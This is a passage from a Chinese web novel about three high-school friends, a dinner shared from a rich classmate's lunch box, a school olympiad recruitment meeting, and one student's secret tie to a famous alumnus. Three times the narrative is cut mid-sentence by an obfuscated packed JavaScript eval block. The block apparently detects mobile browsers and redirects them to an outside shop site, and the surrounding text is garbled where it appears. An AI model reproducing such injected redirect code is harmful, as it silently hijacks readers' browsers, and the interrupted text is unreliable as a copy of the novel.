饿肚子的危机似乎解除了,但一男一女分吃另一个同学家长送来的饭,好像比虞霁月捅破泡面盖还要出人意料一点。 饥饿感最终战胜了微妙的尴尬,贺疏放笑了笑,“你要是不嫌弃我,咱们就开吃?” 东篱夏看着虞霁月期待的眼神,感受了一下自己空荡荡的胃,把椅子转了过来,对着虞霁月的桌子,终于点了点头。 三个人围在虞霁月的桌子上,虞霁月自己则拿着没有盖的泡面去接热水了。 东篱夏打开饭桶,入眼的第一层是码得整整齐齐咸蛋黄焗鸡翅,不像预制的,倒像现场一点一点弄的,一看就很费时间。 她没想到,虞霁月家里人这么会做菜。 饭盒第二层放了清炒时蔬,看着就香,第三层竟然是单独用小盅盛着的海参,旁边还配了调好的酱汁,搭配十分讲究,完全不像家常便饭。 虞霁月接着泡面回来,把维词盖上去,东篱夏由衷赞叹道,“霁月,你父母手艺也太好了吧,像是饭店做的一样。” 虞霁月摆弄着泡面的调料,明显有点不好意思,“没有没有,饭菜都是家里的阿姨做好给我送过来的。” 阿姨?东篱夏和贺疏放对视一眼。 贺疏放正帮忙掰开不知道从哪找来的两双一次性筷子,听到这话,颇有些调侃地看向虞霁月,“哟,之前还真没看出来,你是个深藏不露的大小姐啊。” “贺少爷,不要再五十步笑百步了好吗?” 贺疏放立刻举手做投降状,“我爹妈是做小生意的,我家可请不起保姆啊!” 虞霁月翻了个白眼,没再理他。 学校的课桌一共就那么大点地方,东篱夏和贺疏放又要吃同一个保温桶里面的食物,两个人离得很近,手臂一动就会互相碰到。 东篱夏动作很谨慎,明显有点不好意思,不知道是不是灯光的原因,她总觉得贺疏放的耳朵也有点红。 虞霁月兀自研究着她的泡面,对前方二人的微妙气氛浑然不觉,“是不是没泡开导致的?我觉着也不咋好吃啊。” 东篱夏和贺疏放都乐了,跟海参一比,泡面当然不好吃了。 三个人有一搭没一搭地聊着天,虞霁月叉了根面条,忽然想起什么,问道:“对了夏夏,我听时雨说,你和这次摸底考第一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可偏偏舞会散场的时候,我们的继母——命运——把那双我压根穿不进去的水晶鞋硬塞到了我的脚上。” 她痛,她难受,她走得摇摇晃晃。 所有人都看着她,指指点点,“看啊,她穿上了水晶鞋,她一定就是公主!” 可只有她自己知道,这鞋子挤得她一双脚都快要废掉。 “这次摸底考试就像那个拿着水晶鞋的大臣,他让真正的公主试穿了鞋子,公主穿起来,合适又舒服。而我……” 她停顿了很久,久到虞霁月几乎要忍不住开口。 东篱夏的声音很轻,“闹剧结束了,王子找到了公主,而我这个冒牌货也该回到自己的阁楼里去了。” “我说真的,你们也别嫌我矫情,从小到大,无论主角是谁,反正世界好像从来不是围着我转的。” 三个人之间陷入了长久的沉默。 “正常,我小时候也觉得,世界是围着我哥转的。”到底是虞霁月反应快,先开了口, “亲哥?” “……算是吧。” “哟,原来是二小姐啊。”贺疏放觑着东篱夏的情绪,开了个无伤大雅的玩笑,果真逗得她笑了笑。 “直到有一天我突然发现,哪天我眼睛一闭,世界就乌漆嘛黑一片,我哥把眼睛一闭,我的世界还转得好好的,世界是围着谁转的,不是很显然了嘛!” 这话一出,贺疏放都佩服了,“大师,咱们虞二小姐果然是大师。” 虞霁月又翻了他个白眼。 贺疏放接着开口,神色认真了些,“再说了,当安娜塔西亚又咋了?我记得仙履奇缘后来有个版本,灰姑娘还给继姐介绍对象呢!灰姑娘的鞋挤脚,那就换一双穿啊,那水晶鞋不光挤脚,穿上没准还崴脚呢,整个小皮靴穿,不是更好看?” 东篱夏静静地听着,没有反驳,也没有赞同。 真正把这些有点羞于启齿的念头全说出来,好像反而痛快了一些。 她抬起头,真诚地道谢,“谢谢你们听我说这些,也谢谢你们没笑话我。” “这哪有我拿剪刀给泡面戳了个洞好笑。”虞霁月彻底放弃了泡面,直接用泡面的小叉子叉了一块鸡翅。 贺疏放也笑着点头,重新拿起了筷子,“就是。快吃吧,饭要凉了。” 晚餐在重新活跃起来的气氛中继续,贺疏放主动拿着饭桶去水房刷了,东篱夏则擦着虞霁月的桌子。 安娜塔西亚。 她在心里又念了一次。 是啊,即使她就是安娜塔西亚,又怎么样呢? 17. 光风霁月 贺疏放刚把洗得半干不净的饭桶还给虞霁月,离着晚自习开始还有一段时间,教室里的广播突然响了起来—— “请各班学习委员马上到实验楼三楼小会议室开会,再重复一遍……” 刚回教室的何建安放下笔走了出去,压着晚自习的预备铃才回来,依旧言简意赅,“今天晚上两节晚自习,学年在实验楼顶楼组织了竞赛动员大会。” 竞赛…… 在东篱夏有限的认知里,竞赛无异于诸神之战,直接通向金牌、通向国家集训队、通向清北保送,属于另外一套完全迥异于高考的评价体系。 天赋仅仅是一张入场券。 她环顾四周,见有人面露好奇,有人交头接耳,也有人像她一样,脸上写着显而易见的茫然。 在这样一种集体选择的氛围里,竞赛好像不止是竞赛了,它衡量着每个人的野心和勇气。 如果很多人去,自己不去,会不会显得缺乏挑战精神? 如果去的人不多,自己去了却跟不上,会不会更丢脸? 东篱夏还在犹豫。 “不想参加竞赛是不是可以不去啊?” 熟悉的声音从身后传来,声音不小,正好让全班听到。 是虞霁月。 这话一出,东篱夏都有些意外,在清北班这种地方,大多数人即便对竞赛毫无概念,也会抱着“试试看又不吃亏”的心态去了解,至少不会在动员会开始前就如此明确地表示“不想”。 像贺疏放那样早早就抱定化学竞赛的属于极少数,像苗时雨那样兴致勃勃打算都听听看的也算积极的少数,虞霁月这种还没尝鲜就直接倒胃口的选手,更是稀奇。 就在这时,柳鸿的身影悄无声息地闪现在了教室门口,大概是在门外听到了动静,背着手踱了进来,目光落在虞霁月身上,眼神颇有些意味深长。 “学校要求,一班和二班两个清北班,必须全员参加动员会。”柳鸿语气加重,“这是你们规划未来发展方向的重要机会,每个人都得认真对待!” “尤其是你,虞霁月,必须好好听听。”柳鸿顿了顿,特意补充了一句。 为什么“尤其是”虞霁月? 东篱夏没想明白。 难道只是因为她考了年级前十,所以被老师们寄予了竞赛的厚望吗? 柳鸿的眼神里,似乎还藏着点别的她看不懂的东西。 实验楼的多功能阶梯教室比普通教室大得多,一班和二班的学生鱼贯而入,按照班级大致区域坐下。东篱夏还是自然而然地坐在了贺疏放旁边,甄盼不同的场合有不同的搭子,正和自己的同桌坐在一起,远远跟她这边打了个招呼示意后,虞霁月便挨着东篱夏的另一侧坐下了。 厅内渐渐坐满,气氛难免有些躁动,动员会很快开始。 主讲人还是副校长沈婕,先介绍了江大附中辉煌的竞赛历史:多少块全国金牌,多少人进入国家集训队,多少人因此获得了清北等顶尖高校的降分录取资格,甚至降到一本线。 大屏幕上挨个播放着以往获奖学生的照片和简介,后面跟着一串串令人目眩的奖项名称,高考分数,以及录取结果。 仙之人兮列如麻。 东篱夏很清醒,知道自己不是那种在某个领域拥有惊世骇俗天赋的人。 她学得好,靠的是深刻的理解以及不懈地练习,比起竞赛这种需要在某一科深挖的人,她还是偏“六边形战士”一些,没什么太出彩的,也没什么短板。 更何况,天赋只是竞赛的入场券,持之以恒的努力自不必说,竞赛生因为必须或多或少搁置课内,强大的抗压能力和敢于冒险的锐气都不可或缺。 而这些她似乎都不具备。 对盛群瑛、何建安那些人,竞赛大概是锦上添花,是如虎添翼;对她而言,极可能只是徒增挫败感,分散本就宝贵的精力。 她的目光不由自主飘向身旁的贺疏放。 未来的某一天,他也会成功位列仙班,登上封神榜吗? 谁也不清楚。 沈婕继续翻动着PPT,屏幕上出现了一张新的照片,是个学长的校服照。学长身上的校服和她们这届高一新生的一模一样,江大附中的校服三届一轮回,估摸着是刚毕业的一届。 照片里的学长看起来又瘦又高,眉骨和鼻梁都很突出,面部线条偏硬朗,是那种很锋利的长相,表情平静,眼神也格外沉静果断。 照片旁边是醒目的介绍文字: “虞光风,2021届毕业生,高二获中国化学奥林匹克竞赛决赛金牌,入选国家集训队,高考总分位列全省前50名,数学单科满分,现就读于北京大学化学与分子工程学院。” “二班的同学注意了,这是你们的亲学长。”沈婕的声音拔高了几度,“他当时的教师班子,和现在二班的配置基本是同一套。” “你们光风学长特别聪明,还特别知道自己要什么。高二在化学竞赛上拿到了顶尖成绩,高三回来只用一年时间,不仅跟上了所有高考进度,数学还考了全省为数不多的满分。这说明什么?” 说明虞光风是神不是人,东篱夏如是想。 “说明真正的顶尖学生,学科素养是相通的,竞赛和高考可以相互促进,关键是找到适合自己的节奏。” 光风霁月。 她下意识地转头看向了身边的虞霁月,对方的反应却异常平淡,连头都没抬,继续做着偷偷带上来的英语完形填空作业卷。 无论沈婕在说什么,介绍谁,对虞霁月来说,好像都不过是一段又一段无关紧要的背景噪音。 东篱夏心里的疑惑更深了。 亲哥?堂哥?还是单纯的巧合,实际上两个人什么关系都没有? 她的目光又移向身旁的贺疏放,却在对方脸上见到了从未有过的炽热、虔诚以及毫不掩饰的崇拜。 她被贺疏放眼中过于浓烈的情感震了一下,犹豫片刻,趁着台下还有些细碎的议论声,用只有两人能听到的音量小声问道,“贺疏放,你是不是特别崇拜这样的人?” 贺疏放似乎这才从狂热中惊醒一点,“何止崇拜啊,虞光风简直是……” 他顿了顿,似乎在寻找合适的词语。 “简直不是江城人。” 嗯? 怎么崇拜了一溜十三招,最后给人家天才学长开除江城籍了? 贺疏放看出了她的疑惑,开始解释,“咱们江城这样的北方小城,竞赛资源说出来都寒酸。咱江大附中算好了,对家英才跟咱们也就半斤八两。整个江省的竞赛教育都不成体系,跟南方那些有顶尖教练和成熟培训链的竞赛大省,完全没法比。” “所以,在江城,拿个省一省二甚至进个省队,可能都没那么难,只要有点天赋又肯下死功夫就行。但再往上,到国决的金牌银牌就完全不一样了。” 贺疏放似乎生怕她不清楚,忙补充道,“数学物理竞赛还好点,但对化学竞赛来说,江城这种地方可能几年乃至十几年,都出不了一个能摸到国家集训队边儿的天才。不仅需要绝对的天赋,更需要顶级资源的堆砌,多去外地参加集训,开拓眼界。” 东篱夏发现,虞霁月也抬起头来,凑近了听贺疏放发表的一番膜拜感言。 “他能高二就进集训队,家里砸钱送他去大省集训,自己有老天爷追着喂饭吃的顶尖天赋,能吸收进去知识,肯努力肯拼命,这几个要件缺一不可。” “所以,”贺疏放进入了总结陈词环节,“虞光风做到了在江城几乎不可能做到的事情,抵达了本该离我们非常非常遥远的世界。这样的人,谁能不崇拜?” 台上的沈婕已经切换到了下一张PPT,开始介绍学校的竞赛培养体系。 贺疏放的侧脸在投影的光影里晦暗明灭,隔着那副细框眼镜,东篱夏看不太清他眼底最终沉淀下来了些什么。 她从未见过贺疏放如此在意一件事。 在她短暂的认知里,贺疏放这个人对大多数事情——比如糟糕的英语成绩,偏科的开学考试,包括她这个包办的同桌,似乎都抱着一种“既来之,则安之”的随性态度,她几乎从来没有见过他为什么事情流露出这么强烈的情绪。 他好像习惯只花六七分的努力,去达成一个“差强人意”的结果,然后便心安理得地窝回自己的舒适区,捣鼓他艰深的无机化学。 提到虞光风的时候,她分明在贺疏放眼睛里看到了很多其他的东西,有崇拜,有仰望,更多的是不甘心。 她忽然觉得,他好像并不只是崇拜虞光风。 或者说,他崇拜的压根不是虞光风,只是崇拜一种能够突破重重限制、到达另一片天空的可能。 “那……你会想成为虞光风学长那样的人吗?”东篱夏问得有些小心翼翼。 “成为虞光风那样?”贺疏放重复了一遍,听不出什么情绪,似乎想扯出一个无所谓的笑,最终却只轻微地扬了扬,“算了吧,我哪能跟他比啊。” 他们都清楚,“想不想”和“能不能”之间,是隔着天堑的。 “你一定可以的。”东篱夏轻声鼓励道,“热爱本身就是一种很厉害的天赋了。” 这是她的真心话。 贺疏放怔了一下,没说什么,只是很轻地点了点头。 两个人重新将目光投向讲台上沈婕对培养体系的介绍,东篱夏忽然感觉自己的胳膊被轻轻碰了一下。 虞霁月状似无意地递过来一张纸,是那张英语完型填空卷子的背面。 东篱夏心里一紧,警惕地瞟了一眼讲台方向,见无人注意,才小心翼翼地借着前排椅背的掩护细细读来。 映入眼帘的是一行用自动铅写着的字,这是她第一次看见虞霁月的笔迹,是一手极漂亮的行楷,字如其人,笔划潇洒,透着一股不拘一格的英气。 “To:夏夏,hsf 问:为什么要以成为虞光风为目标? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957791|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 问题下面,还画了一个歪歪扭扭的思考状小人。 东篱夏愣了愣,一时不知该如何回答,想了想,将纸条轻轻推给了旁边的贺疏放。 贺疏放明显也怔住了,侧头看了一眼虞霁月,又低头看看卷子,神情复杂,拿起笔似乎想写什么,最终又放下了,只是摇了摇头,将纸条递还给东篱夏。 他似乎也不知道该怎么回答虞霁月这个问题。 或者说,此时此刻,他纷乱的思绪很难用几句话在纸条上说清。 虞霁月趁着沈婕翻ppt的工夫,立刻伸手将卷子从东篱夏手里抢了回去,飞快地添上了一行,再次把卷子推到东篱夏面前。 新的字迹映入眼帘: “我认为我们三个人算朋友了,再瞒着你俩有点不够意思了,我和咱们班所有人都没主动说过此事,请帮我保密。” 旁边画了一个【合十】的小表情。 “ygf是我同父异母的亲哥。” 这个缩写,指代的显然是虞光风了。 怪不得。 东篱夏忽然什么都明白了。 怪不得柳鸿会用那种意味深长的眼神看她,说“尤其是你,更得去”。 怪不得那些理科老师会如此关注她,甚至主动邀请她当课代表。 他们想要的不仅仅是一个成绩优异的虞霁月,而是希望在同一个家庭、同样的教育背景下,能复现另一个虞光风这样的神迹。 东篱夏忽然觉得,自己之前还是把虞霁月想得太简单了。 她以为虞霁月那种天马行空不拘一格、那种“我见诸君多有病”的潇洒轻盈,全是源自无比幸福的原生家庭,现在看来显然并不成立。 东篱夏很善于换位思考。 对虞霁月来说,虞光风聪明绝顶,成就斐然,还是一个家里长大的亲哥,再叠两层“同父异母+豪门恩怨”的buff,简直是超级无敌至尊高配顶奢版韩慎谦pluspromax。 光风霁月。 在同一片明澈的天空下,光风已经如此耀眼,恐怕霁月再清辉皎洁,在哥哥光芒的映照下,也难免显得幽微。 摊上这么一个哥,虞霁月非但没有变得阴郁叛逆或者拼命想要证明自己,反而长成了现在这样轻盈自由的样子,实在也是生命的奇迹了。 东篱夏在心里默默想。 她在纸条上那个手绘的【合十】表情旁边,很认真地写下一个“好!”,然后将卷子再次递给贺疏放。 贺疏放看完,脸上的震惊比东篱夏刚才更甚,转头看向虞霁月,后者正好也微微偏过头,迎上他的目光。 他对她对了一个“虞光风”的口型来确认缩写的主人,虞霁月却只是平静地点了点头。 贺疏放沉默了几秒,最终在纸条上东篱夏的“好!”字旁边,也写了一个简洁的“OK”传了回去。 虞霁月用自动铅背面的橡皮擦得干干净净,继续做起了正面的完型,仿佛什么都没有发生过。 动员会冗长的宣讲终于接近尾声,台下响起了礼节性的掌声,学生们开始有序地从教师各个出口散去,汇入浓浓夜色。 三个人随着人流慢慢往外走,回教学楼的这段路上,三人默契地与前后喧闹的同学拉开了一小段距离,喧嚣的人声在身后渐渐模糊。 初秋的夜风带着清晰的凉,操场边的路灯投下昏黄的光晕,将他们的影子拉得忽短忽长。 走到一盏路灯下,虞霁月忽然停下了脚步,转过身看着后面并肩而行的东篱夏和贺疏放。 “我刚才写的是认真的。” 贺疏放望着她在路灯下明灭的脸,没接话。 “为什么要在意自己会不会成为虞光风呢?”虞霁月语气郑重,“哪怕他再天才,再优秀,拿了再多金牌,高考真打了750,那都是我哥的路,是我哥的人生。” “刚才吃饭你开解夏夏的时候,不是很清楚灰姑娘的水晶鞋到底合不合后姐的脚吗?怎么道理放在别人身上都明白,一到自己身上就犯糊涂,非要可着崴脚的鞋不放呢?” “如果只盯着我哥走过的路,想着要复刻什么封神之路,那估不但这辈子都超越不了我哥,没准也成为不了贺疏放了。” 路灯的光影下,她看不清虞霁月的脸,只能看见对方的刘海在初秋的晚风里摇摇晃晃。 贺疏放也被她这番话问得愣住了,一时间所有的话都堵在了喉咙口,长久的沉默在三人之间蔓延。 东篱夏忽然觉得,虞霁月这番话不仅仅是对贺疏放说的,或许也是对她,甚至是对虞霁月自己。 不要试图成为别人,无论那个人多光芒万丈。 “你说得对。”贺疏放重新露出了清朗的笑,再一次点了点头,“谢谢你啊,善良的二小姐。” 虞霁月隐在阴影下的嘴角似乎弯了弯,拨了拨被晚风吹乱的刘海,语气轻快, “大哥,能不能对偶像的妹妹放尊重点。” 18. 不在乎?太在乎 回到教室,柳鸿让何建安把竞赛班的报名表发下来后,简单嘱咐了两句“兼顾课内,量力而行”后,又不见了人影。 上面写的很清楚,上课地点就在实验楼大阶梯教室,由江附专门负责指导竞赛的老师授课,占用晚自习的时间上课,不收学费,自愿参加,数物化生一科一天,信竞则被安排在了周末。 “自愿”是一个很巧妙的词。 又有谁能完全无视周围人的选择,纯粹基于个人兴趣和自我认知做出选择呢? 东篱夏愿意相信,二班的大多数人未必对竞赛本身有多清晰的认知,只是无法承受“别人都去了,我没去”而已。 和她一样,他们都害怕在起跑线就开始后退一步。 自然而然,除了极少数贺疏放这样目标明确的人,观望、比较,然后跟随,就成了大多数人最安全也最普遍的策略。 她也跟着大多数人选择了数学和物理双科竞赛,打算先都试试看,后期再从中择一。 甄盼随大流,跟着她同桌勾了数学和物理两科,美其名曰“感受一下气氛”。东篱夏知道,她恐怕是醉翁之意不在酒了。 虞霁月那边则是另一番景象。 树欲静而风不止,第二天柳鸿发现她哪科都没报名后,当天就把她叫出去聊了两次,甚至沈婕都亲自出马,在课间把虞霁月堵到了教室门口谈话。 东篱夏接水的时候听见了些只言片语,大概就是说,你本身就聪明,哥哥又能辅导你,不要浪费这么好的资源。 她时常想,尽管老师们看上去都很喜欢虞霁月,除了语文老师付观亭,又有几个人真正把虞霁月当作独立于虞光风的个体去看呢? 虞霁月说不去就是不去,老师们最终也只能无奈作罢,惋惜多过责备。 让东篱夏略感意外的是,苗时雨告诉她,韩慎谦也没报竞赛。 要在之前,她肯定要琢磨好半天,但现在疑问只在她脑海里闪了一瞬,很快就被按了下去。 算了,没工夫在意他。 她的世界应该围着她自己转,韩慎谦学不学竞赛,和她有什么关系? 不幸的是,竞赛世界的残酷还是远远超出了东篱夏的认知。 物理竞赛的第一堂大课,主讲老师是高三清北班的班主任,上来就开门见山:“我们时间紧任务重,要用两节课把物理竞赛需要用到的高中数学工具给大家快速过一遍,后会引入一些必要的微积分初步概念,为后续的物理模型服务。” 两节课速通高中数学? 东篱夏看着老师身后黑板上飞快出现的和差化积公式推导,愈发怀疑人生。 她连高一上学期的函数都还没完全吃透,眼前这些完全省略了循序渐进认知过程的结论,对她而言简直如天书一般。 数学竞赛班更是如此,一节课速通解析几何圆锥曲线,许多概念她听都没听过。 更惨的是,甄盼拉着她,特意选了何建安正后方不远的位置坐下。而她们正前方从左到右,赫然坐着苗时雨、何建安、盛群瑛、奚华年。 东篱夏听得头晕脑胀,前排四位大神已经开始比着做随堂发的十二大页练习题。 自己听不懂本就难过,发现别人不用听就会做题更是令人悲伤。 东篱夏努力把注意力集中在老师对椭圆切线公式的推导上,前排的何建安却突然回过头,目光直接落在了东篱夏脸上,“东篱夏,第三页第五题第二步,你得到的中间函数形式是什么?” 啊? 大哥,你知道自己在问什么吗? 就算你知道,我也不知道啊! 前排的讨论也停了下来,另外三大天王也齐刷刷回头看她。东篱夏的脸腾地一下烧了起来,“不好意思,我还没做到那一步,我不太会……” 盛群瑛似乎也替她尴尬,重新转回去埋头在了卷子里,奚华年倒是温和地对她笑了笑,轻声安慰了句“没关系,刚开始都这样,慢慢来”。 语气体贴,却更让她无地自容。 苗时雨毫不客气地肘击了何建安一下,压低声音骂道:“大哥,你有没有点情商!” 何建安皱了皱眉,似乎才意识到自己问得突兀,“哦”了一声就转了回去,连连跟苗时雨解释,自己只是觉得东篱夏开学考试数学成绩也挺好,既然他们几个有了分歧,就该引入第五个人的答案作参考。 东篱夏依旧沉浸在尴尬之中。 “哎,苗时雨是不是你们初中的,她跟何建安很熟吗?”旁边的甄盼忽然用气声轻轻问她。 东篱夏无语到想笑。 甄盼果然不是诚心来学竞赛的,她是诚心来看何建安的。 终于挨到了下课,东篱夏的脑子早就彻底饱和,前面四位大神依旧在亢奋地争论着题里的直线和双曲线到底有几个交点。 她忽然想起来自己的物理作业落在教室了,和甄盼简单说了声再见,就匆匆逆着人流往四楼教室赶。 刚到班级门口,她就瞥见了自己座位旁边依旧坐着一个熟悉的身影。贺疏放头埋得很低,眉头皱得很紧,一手压着书页,一手握着笔,不时在旁边的草稿纸上写着什么。 直到东篱夏走到他旁边,贺疏放才察觉到有人靠近,从书页间抬起头。看到是她,脸上掠过一丝讶异,“不是去上数学竞赛了?怎么还没走?” “物理作业落教室了。”东篱夏低声应了一句,目光落在贺疏放桌子上那本《无机化学》上。 所以,就连她同桌贺疏放也是像那四个人一样的天才吗? 命运到底是怎么想的,为什么在一众天才中间大笔一挥,偏偏钦点了自己这个稍微有点小聪明的普通人当中考状元呢? 东篱夏实在想不通,脱口而出,“贺疏放,这么难的东西,你真的能看得懂吗?” 问题问出口,她顿时自知失言。这话明摆着是在质疑人家能力啊! 贺疏放没有立刻回答,放下笔,身子往她的方向转过来了点,脸上的笑容也淡去了些,教室里只剩下他们两个人,安静得能听见彼此的呼吸。 她觉得贺疏放下一秒就要骂她了。 结果,他说—— “看不懂。” 东篱夏愣住了。 “很多时候都看不懂。”贺疏放继续坦诚地说着,“得反反复复看,反反复复想,反反复复记。看了后面忘前面,理解了概念却不会应用。” “有时候我盯着一个反应机理能盯一晚上,脑子里还是一片浆糊。我根本不敢保证自己是不是真的理解透了,还是只是自以为懂了。” 贺疏放这席话,完全出乎东篱夏的意料。她一直以为他和何建安、盛群瑛她们是一样的,看一遍定义便能抓住本质,学起新知识举重若轻。 “所以,”贺疏放的声音低了下去,“我才会那么崇拜虞光风那样的人。高二进国集,高考数学满分,他甚至不需要拿降分,裸分一样够上清北。” “但我不能。” “我的精力是有限的,我必须做出选择。” “就说何建安吧,这么多年朋友了,就算心里一直不愿意承认,我也知道我不如老何聪明,从小学奥数的时候就知道。” “为了能挤时间给化学,给这本我费很大力气才能看懂的书,我必须在第一个晚自习结束之前就把所有的课内作业写完,必须把英语和语文那些对我来说痛苦万分的任务用最低的消耗完成。” 他苦笑着看向她,她忽然从那双总是带着点漫不经心笑意的眼睛里,读出了一点不一样的东西。 是执念,是不甘。 她一直以为贺疏放是那种真正洒脱的人,对成绩完全不在意,能够笑嘻嘻地面对惨淡的英语试卷,总是懒洋洋地给身边的人讲着化学题。 原来他也在和自己较劲。 他所有的不在乎,或许恰恰是因为他太在乎——太在乎化学,以至于必须强迫自己不在乎其他,才能将所有燃料都投入唯一的炉膛。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16957792|193207||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>贺疏放说完这些,似乎也觉得有点太沉重了,重新拿起笔,没有立刻继续看书,只是轻轻叹了口气,重新对东篱夏笑了笑:“快回家吧,别让徐阿姨等急了。” “明天见。”她没多说什么。 东篱夏走出教室,身后那扇半掩的教室门里,贺疏放再一次埋首于《无机化学》之中,继续着他未必会有结果的跋涉。 热爱是有重量的,每一个看似轻松的身影背后,可能都藏着一片只能自己泅渡的海。 原来这条路上需要拼命挣扎的,并不只有她一人。 她能考市状元,考的也不全是运气,也仰仗了初中三年过于强大的自驱力和执行力。 第二天午休和甄盼吃完饭回来,东篱夏就坐回座位上,默默研究起昨天数学竞赛课发的十二页练习卷来。 突然有个人敲了敲她的桌子。 东篱夏下意识地抬头,何建安不知何时站在了她课桌旁边,他个子太高,挡住了大半光线,脸上依旧没什么表情,目光随意落在了她面前摊开的卷子上。 她愣住了。 这位大哥,你是还没对我的数学水平死心吗? 何建安似乎没察觉她瞬间的警惕,凑过来就看她的卷子,“哪道题不会?” “……” 东篱夏一时间竟不知该如何回答,承认就会一半太丢人,说都会又明显是撒谎,只能竭力维持着从容,“没什么,我再自己想想就行,谢谢。” 何建安没再说什么,也没有离开,只是又看了一眼卷子上几道被她在题号前画了问号的题,才转身走回了自己的座位。 等他走远,尽管脑子仍旧一团乱麻,东篱夏仍旧强迫自己重新将注意力集中到题目上。 下午第二节课的课间,她正和贺疏放研究着作业的一道生物题,何建安又一次悄无声息地靠近,径直走到她面前,依旧什么也没说,将一张A4纸放在了她的桌角后就转身离开。 整个过程不超过五秒钟。 东篱夏看了眼贺疏放,对方也耸了耸肩表示爱莫能助。 拿起那张纸,看清上面写了什么内容后,东篱夏彻底愣住了——正是她午休时题号前面画了问号的几道竞赛题的思路框架。 不仅是思路,在一些关键步骤的侧边,何建安甚至还做了批注,解释为什么会想到这一步。 东篱夏一个字一个字地看过去,午休时那些堵塞的思路渐渐疏通。她仍然需要时间去消化那些更高阶的数学思想,但至少现在,她知道自己卡在了哪里,以及理论上应该如何去思考。 他在给她指引,让她知其然,也要知其所以然。 但何建安为什么要这么做? 旁边的贺疏放忽然一拍脑门,“啊呀,我想起来了。” 东篱夏疑惑地转头看他。 贺疏放语气无奈,“昨天晚上回家之后,老何给我发微信,把他在竞赛班干的离谱事给我讲了一遍,说他好像让你难堪了,问我应该怎么补救。他这人吧,情商是有点那啥,但真知错能改。” 看出来了。 “我就跟他说,你自己闯的祸,自己想办法。”贺疏放扫了一眼那张纸,接着说,“显然这就是他自己想出来的办法了,他觉得让你在课上不会做题尴尬了,那就帮你会做题。” 逻辑没什么问题,就是不太像正常人能干出来的。 东篱夏小心把那页A4纸对折好,夹进竞赛笔记本里,重新在脑海中回忆了下何建安的形象。 自己从前看他,因着和甄盼的关系,多少带了点“丈母娘看女婿”的感觉,怎么看怎么不满意。 他就是不会说漂亮话,不会为人处世,不懂迂回,甚至大概率完全没意识到自己这种行为在旁人看来有多奇葩。 她忽然觉得,甄盼这么好的姑娘,喜欢上这样一个人,似乎也并非全无道理。 雪山先生或许难以靠近,不懂得甜言蜜语,但也自有其魅力,只是需要另一种方式去感知。 19. 小红本 这天午休,付观亭把东篱夏和虞霁月叫到办公室搬书本。 付观亭在江附的老师里算极其负责的,和柳鸿的上班态度截然不同,即使没课的时候也会在办公室坐班,一面备课,一面等着同学们来问问题——尽管一班二班的学生往往并不是很重视语文。 二人打打闹闹来到文科办公室,一进门,发现地上放着好几摞崭新的红色封皮小册子,每本也就巴掌大小。 “霁月,篱夏。”付观亭手里正捧着一本《翦商》,见了她们来,忙放下书,温文尔雅地招呼道,“你们正好赶上咱们江省第一年新高考,古诗背诵默写范围更广了,语文组为了方便大家提前背诵,把必修和选修里要求掌握的诗文和补充的经典篇目都印成了这种便携小册子,可以放在衣服口袋里随时拿出来记诵。辛苦你们两个课代表把咱们班的搬回去,发给同学们。” 两个人领命,回到教室发完之后,东篱夏刚拧开保温杯盖喝了口水,就感觉自己后背被人轻轻戳了两下,她顺手将杯子放在了桌面上,没来得及立刻拧回去,疑惑地回头,发现是斜后方的周益荣。 “东老师,数学笔记能不能借我看看?今天老洛例题过得太快了,我有点没跟上。” 周益荣经常问东篱夏借笔记,一方面是因为她的数学笔记写的真的很详细,不只是简单誊抄老洛的板书,更多是把自己对一些题目的理解和思考、以及归纳出来的模型都梳理在旁边。 另一方面,是因为班里那几个比东篱夏学习还好的大神是真不记笔记,大多数时候连课也不听,只是默默做着自己手里的题,即使偶尔记那么两笔也如同天书一般。 他的亲同桌虞霁月倒是有数学笔记,成绩也不错,但东篱夏总觉得他们两个人之间似乎隔了点什么,关系不冷不热。 东篱夏应下,就在她低头翻找的当口,几个男生嘻嘻哈哈推搡着从过道跑过,其中一个被猛地一撞,脚下不稳,一个趔趄倒在了东篱夏桌边。 保温杯应声而倒。 她本来就没有盖盖子,大半杯水瞬间倾泻而出,给桌子上新发的小红本泡透了,甚至还有一部分溅到了她堆在旁边的课本上。 “我靠!”撞到桌子的男生连忙站直,看着东篱夏一片狼藉的桌面和纸张已经迅速蜷曲起来的小红本,脑袋大概率已经宕机了。 “对不起!东老师,真对不起,我不是故意的!我们闹着玩没看见……” 男生语无伦次地道起了歉,旁边几个同伴也停下了打闹,讪讪地围了过来。 东篱夏看着自己湿漉漉的桌面和刚发下来没捂热乎就彻底报废的小红本,皱了皱眉,心里涌起一阵烦躁。 她能怪谁呢?对方确实不是故意的,也道歉了。 “……没事。” 除了说“没事”,她还能怎么样?为了一本不值钱但此时此刻对她来说是个大麻烦的小册子,就要求对方赔吗? 难免显得小题大做,她开不了这个口。 几个男生见她没有发火,明显松了口气,连连又说了一串“不好意思”就准备转身溜走。 